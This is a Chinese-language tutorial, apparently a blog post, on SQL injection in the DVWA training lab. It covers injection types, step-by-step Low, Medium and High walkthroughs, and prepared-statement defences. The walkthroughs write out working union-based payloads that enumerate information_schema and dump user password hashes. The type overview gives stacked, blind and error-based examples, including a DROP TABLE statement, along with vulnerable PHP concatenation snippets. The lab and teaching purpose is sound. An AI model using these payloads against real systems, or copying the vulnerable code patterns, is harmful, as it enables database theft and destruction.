DVWA | SQL Injection 数据库注入

发布于:2025-07-08 ⋅ 阅读:(10) ⋅ 点赞:(0)

目录

概念:

产生原因:

危害:

类型:

        基于注入方式

        堆叠查询注入

        基于回显

        布尔盲注

        时间盲注

        基于注入位置

        数字型注入

        字符型注入

Low

Medium

High

Impossible 

SQL注入防护

1. 使用预处理语句(Prepared Statements)

2. 输入验证与过滤

3. 转义特殊字符

4. 最小化数据库权限

5. 避免动态 SQL 拼接

6.防御性编程

7. 错误处理优化

总结


概念:

        SQL 注入(SQL Injection)是一种常见且危害严重的 Web 安全漏洞,指攻击者通过在应用程序的输入字段(如 URL 参数、表单输入等)中,插入精心构造的恶意 SQL 语句,从而改变原本 SQL 查询的执行逻辑,达到非法获取、篡改、删除数据,甚至获取服务器权限等目的。

产生原因:

        本质上是由于应用程序对用户输入的信任,未对用户输入进行有效验证、过滤或转义,就直接将其拼接进 SQL 语句中。这样攻击者可以通过构造特殊的输入,改变原本 SQL 语句的执行逻辑,使其执行恶意的 SQL 操作,从而绕过身份验证、窃取数据、篡改数据、删除数据甚至获取服务器权限。

危害:

  • 数据泄露:攻击者能够获取数据库中的敏感信息,如用户的登录凭证(用户名、密码)、身份证号、银行卡号等,用于进一步的非法活动,如盗刷银行卡、窃取用户隐私。
  • 数据篡改:可以修改数据库中的数据,例如修改用户订单信息、篡改系统配置数据,影响业务的正常运行,给企业或用户带来经济损失。
  • 数据删除:利用注入漏洞删除数据库中的关键表或数据,导致业务系统无法正常运行,恢复数据难度大、成本高,可能造成业务中断和客户流失。
  • 权限提升:在一些情况下,攻击者可以利用 SQL 注入漏洞,获取数据库服务器的更高权限,进而控制整个服务器,安装恶意软件、进行网络攻击等。
  • 破坏网站正常运行:通过注入恶意代码,破坏网站的页面显示,使其无法正常提供服务,影响用户体验,损害企业形象。

类型:

        基于注入方式:

堆叠查询注入
  • 原理:攻击者可以在一个 SQL 请求中执行多条 SQL 语句,不同语句之间用分号分隔。例如,SELECT * FROM users; DROP TABLE users;,如果应用程序没有对输入进行严格过滤,就可能导致 users 表被删除。
  • 示例:在某些支持多语句执行的数据库环境中,攻击者通过精心构造的输入,同时执行多个 SQL 操作,破坏数据库结构或数据。

联合查询注入

  • 原理:通过 UNION 关键字将恶意的查询与原本的查询进行合并。UNION 操作要求前后两个查询的列数必须一致,攻击者利用这个特性,构造第二个查询来获取想要的信息, 比如数据库版本、用户信息等。
  • 示例:假设原本的 SQL 查询是 SELECT name, age FROM users WHERE id = '$id' ,当攻击者输入 1 UNION SELECT version(), user() ,最终执行的 SQL 变为 SELECT name, age FROM users WHERE id = '1 UNION SELECT version(), user()' ,就会返回数据库版本号和当前用户等信息。

        基于回显:

布尔盲注
  • 原理:攻击者无法直接看到 SQL 查询的结果,只能根据页面返回的不同信息(如页面是否正常显示、返回的 HTTP 状态码等)来判断注入语句是否成功。攻击者构造带有条件判断的 SQL 语句,根据返回结果推断数据库中的数据。比如,构造 SELECT * FROM users WHERE username = 'admin' AND LENGTH(password) > 5 -- ',通过观察页面是否有变化,判断管理员密码长度是否大于 5 。
  • 示例:在一个登录页面,通过构造不同的用户名和密码组合,根据页面提示 “用户名或密码错误” 是否改变,来推断数据库中的数据。
     时间盲注
    • 原理:同样是在无法直接获取查询结果的情况下,利用条件判断语句结合 SLEEP() 等函数,根据页面响应时间来判断注入条件是否成立。例如,构造 SELECT * FROM users WHERE username = 'admin' AND IF(LENGTH(password) > 5, SLEEP(5), 0) -- ',如果页面响应时间超过 5 秒,就可以推断管理员密码长度大于 5 。
    • 示例:在一个对响应时间敏感的 Web 应用中,使用脚本不断发送构造的注入请求,根据响应时间推断数据库信息。

    显错注入

    • 原理:利用数据库的报错机制,通过构造特定的 SQL 语句,让数据库执行时产生错误,并将错误信息回显在页面上,攻击者可以从这些错误信息中获取到数据库的相关信息,如数据库版本、表名、列名等。
    • 示例:在 MySQL 中,利用 UPDATEXML 函数构造恶意 SQL,如 SELECT * FROM users WHERE id = 1 AND UPDATEXML(1,CONCAT(0x7e,(SELECT database()),0x7e),1) ,如果数据库版本支持该函数,就会触发报错,报错信息中会显示当前数据库名。

            基于注入位置:

    数字型注入
    • 原理:当应用程序将用户输入直接拼接进 SQL 查询中,且该输入对应的数据库字段为数字类型时,就可能发生数字型注入。在这种情况下,不需要闭合引号,攻击者通过构造特殊的数字值来改变 SQL 语句的逻辑 。例如,原本的 SQL 查询是 SELECT * FROM users WHERE id = $id,如果用户输入 1 OR 1=1,最终执行的 SQL 变为 SELECT * FROM users WHERE id = 1 OR 1=1,这样会返回所有用户记录。
    • 示例:在 PHP 中,错误的代码实现如

                            $id = $_GET['id'];

                            $sql="SELECT * FROM users WHERE id = $id";

    字符型注入
    • 原理:若数据库字段是字符类型,攻击者需要闭合 SQL 语句中的单引号或双引号,来改变查询逻辑。例如,原始查询为 SELECT * FROM users WHERE username = '$username',当用户输入 ' OR '1'='1,最终执行的 SQL 变为 SELECT * FROM users WHERE username = '' OR '1'='1' ,这同样会返回所有用户记录。
    • 示例:PHP 代码中,$username = $_GET['username']; $sql = "SELECT * FROM users WHERE username = '$username'";

    GET 型注入

    • 原理:攻击者通过修改 URL 中的参数,将恶意的 SQL 代码作为参数值传递给服务器,服务器未对参数进行有效过滤和处理,从而导致 SQL 注入漏洞被触发。
    • 示例:对于 URL http://example.com/index.php?id=1 ,攻击者修改为 http://example.com/index.php?id=1 UNION SELECT 1,2,3 ,如果后端代码直接将 id 参数拼接到 SQL 查询中,就可能触发注入。

        POST 型注入

        • 原理:攻击者通过表单提交等方式,将恶意的 SQL 代码放在 POST 请求的数据中,服务器接收并处理这些数据时,如果没有对 POST 数据进行严格验证,就会导致 SQL 注入。

        示例:在登录表单中,输入用户名 admin' OR '1'='1 ,密码随意填写,提交表单后,如果后端代码将用户名直接拼接到 SQL 查询中,就可能绕过登录验证。

        Cookie 型注入

        • 原理:攻击者通过修改 Cookie 中的值,将恶意的 SQL 代码注入其中,服务器在读取 Cookie 值并用于 SQL 查询时,如果没有进行安全处理,就会触发 SQL 注入漏洞。
        • 示例:当网站使用 Cookie 记录用户的登录状态,如 userid=1 ,攻击者将其修改为 userid=1 UNION SELECT 1,2,3 ,如果服务器在某些查询中使用了这个 Cookie 值,就可能造成注入。

          Low

          URL:http://[本地地址:localhost]/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#

          这时候我们可以看到后端实际执行的语句:

          SELECT first_name, last_name FROM users WHERE user_id = '1';

                  首先这里我们可以看到传到的明文:id=1,可以得知这是“GET型提交”(GET提交特性),接下来我们判断注入类型,这里我们添加了页面回显代码,看出是存在引号封闭的“字符型”注入,我们也可以通过其它方法来判断:

          输入:1',1' and '1' ='1 和 1' and '1'='2

          经过以上三部试错,我们看得出前后是由引号封闭的。

          改写语句:首先插入闭合id值的左单引号,后面跟一个注释符‘#’,如下:

          SELECT first_name, last_name FROM users WHERE user_id = '1' [插入的sql语句] #';

          那为什么要这么做呢?        因为输入框内输入的值是单引号的值,也就是ID值,例如:

          SELECT first_name, last_name FROM users WHERE user_id = '1 order by 3 # ';

          注释符在不在这样的语句都是不生效的,显然单引号里的值是不可被解析的。

          随意我们需要首先闭合id值,然后拼接查询命令,注释掉原有的右单引号。

          继续:

          SELECT first_name, last_name FROM users WHERE user_id = '1'  order by 3 #';

          *order by 3:表示按查询结果的第三列列排序,并且order by默认升序,绕过列名。

          查询结果的第三列排序。但原查询只有两列(first_namelast_name),通过错误信息获取数据库结构。

          即“order子句”中未知列“3”,接着我们输入2:

           执行成功,查询返回的是两个字段,

          SELECT first_name, last_name FROM users WHERE user_id = '

          1'  union select 1,2#

          拿到回显位,

          这里是要配置union使用,我们继续:

          SELECT first_name, last_name FROM users WHERE user_id = '

          1'  union select 1,database() #

          *union关键字:mysql中的union合并查询,左右两边查询的列数要一致(上面我们得知返回两个字段),所以右边要和左边的查询数保持一致,都是两个,

          得到数据库名:dvwa,继续拼接语句:

          SELECT first_name, last_name FROM users WHERE user_id = '

          1'  union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'#

          *group_concat(table_name):将所有表名合并为一个字符串。

          *information_schema.tables:mysql系统自带的表:存储所有数据库的表信息。

          *table_schema=’dvwa’:查询'dvwa'的目标数据库。

          NAVICAT查询结果如下:

          查到dvwa数据库下的两张表:guestbook,users表 。

          接续拼接:

          SELECT first_name, last_name FROM users WHERE user_id = '

           1'  union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#

          //查询user表中的列

          *group_concat(column_name):将所有列名合并为一个字符串。

          *information_schema.columns:返回表中的列名

          *table_schema=’user’:查询'user'的目标数据库表。

           得到User和Password的字段列表,其它忽略。

          查询用户和密码:

          SELECT first_name, last_name FROM users WHERE user_id = '

          1' union select user,password from users#

           显然密码是被经过编码过的,像是MD5,这种情况下我们可以在网上找找解码的免费平台做解码(现在很多开始要会员)。

          Medium

          页面呈现:

           这里做了下拉框处理,也就是做了输入限制,我们通过抓包处理:

           右键发送到“重发器repeater”,(在重发器repeater里我们不用页面重复操作,直接重新构造SQL语句即可)并修改id,

          由此可知,该关卡不涉及单引号封闭,注入类型为数值型,其实从下拉框内选择纯数值型选项也不难看出是数值型注入,SQL语句构造逻辑同low一样:

          id=1 order by 3

           id=1 order by 2

          根据查询结果的第二列排序没有报错,下来我们定位回显位置:

          id=1 union select 1,2 

          我们回显位置1,2位,

          id=1 union select database(),version(), 拿到数据库名以及数据库版本

          id=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database(),拿到dvwa数据表里的两个表名:guestbook,users

           union select 1,group_concat(column_name) from information_schema.columns where table_name='users',查询users表中的列(字段)

           有报错,单引号被抓换为斜杆,对users做十六进制转换:

          union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273,拿到users表的列名(字段)

           union select user,password from users,查询用户名和验证码。

           到这里还是通过MD5转码获得明文密码。

          High

           这次的提交是单独在一个窗口里,没法抓包,我们直接输入探测注入类型,

           目前来看是字符型注入,还是一样的套路:1' order by 3#

          1' order by 2# 

          1' union select 1,2#

          拿到显示位, 

          拿到数据库版本和数据库名,1' union select version(),database()#

           1'  union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'# 

          拿到数据库下面的两张表,

          1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#

           1' union select user,password from users#

          拿到用户名和密码,

          Impossible 

          仅作学习参考,引入PHP PDO对sql语句做预处理,有效预防sql注入:

          <?php
          
          if( isset( $_GET[ 'Submit' ] ) ) {
              // Check Anti-CSRF token
              checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
          
              // Get input
              $id = $_GET[ 'id' ];
          
              // Was a number entered?
              if(is_numeric( $id )) {
                  // Check the database
                  $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
                  $data->bindParam( ':id', $id, PDO::PARAM_INT );
                  $data->execute();
          
                  // Get results
                  if( $data->rowCount() == 1 ) {
                      // Feedback for end user
                      echo '<pre>User ID exists in the database.</pre>';
                  }
                  else {
                      // User wasn't found, so the page wasn't!
                      header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
          
                      // Feedback for end user
                      echo '<pre>User ID is MISSING from the database.</pre>';
                  }
              }
          }
          
          // Generate Anti-CSRF token
          generateSessionToken();
          
          ?> 
          

           SQL注入防护

          1. 使用预处理语句(Prepared Statements)

          原理:将 SQL 逻辑与用户输入分离,数据库自动处理输入转义。
          技术:使用 PDO 或 MySQLi 的预处理语句。

          php PDO例如:

          // 准备查询
          $stmt = $pdo->prepare("SELECT * FROM users WHERE username = :username AND password = :password");
          
          // 绑定参数
          $stmt->bindParam(':username', $username, PDO::PARAM_STR);
          $stmt->bindParam(':password', $password, PDO::PARAM_STR);
          
          // 执行查询
          $stmt->execute();

           MySQL例如:

          // 准备查询
          $stmt = $mysqli->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
          
          // 绑定参数
          $stmt->bind_param("ss", $username, $password);
          
          // 执行查询
          $stmt->execute();

          2. 输入验证与过滤

          原理:对用户输入进行严格验证,只允许合法字符。
          技术

          • 白名单过滤:仅允许特定字符(如字母、数字)。
          • 正则表达式:验证邮箱、URL 等格式。

          3. 转义特殊字符

          原理:对用户输入中的特殊字符(如单引号)进行转义。
          技术:使用 mysqli_real_escape_string() 或 PDO::quote()

          4. 最小化数据库权限

          原理:限制数据库用户的权限,仅授予必要的操作(如只读)。
          技术

          • 为应用创建独立的数据库用户。
          • 使用 GRANT 精确授权(如仅允许 SELECT 特定表)。

          5. 避免动态 SQL 拼接

          原理:动态拼接 SQL(如 $sql = "SELECT * FROM users WHERE id = $id")易受攻击。
          替代方案

          • 使用预处理语句。
          • 如果必须拼接,严格验证输入类型。
          // 不要这样做!
          $sql = "SELECT * FROM users WHERE id = " . $_GET['id'];

          6.防御性编程

          原则

          • 类型检查:确保数字参数是整数类型。

            php

            $id = (int)$_GET['id']; // 强制转换为整数
            
          • 输入长度限制:限制字符串最大长度,防止超长注入。
          • 使用存储过程:部分存储过程可增强 SQL 安全性(需配合参数化)。

          7. 错误处理优化

          原理:避免向用户暴露详细的数据库错误信息。
          技术

          // PHP 配置
          ini_set('display_errors', 0);
          error_reporting(E_ALL);
          • 生产环境关闭错误显示(如 display_errors = Off)。
          • 记录错误日志而非直接输出。

          总结

          最有效防护组合
          ✅ 预处理语句(优先) + ✅ 输入验证 + ✅ 最小权限 + ✅ 错误处理


          网站公告

          今日签到

          点亮在社区的每一天
          去签到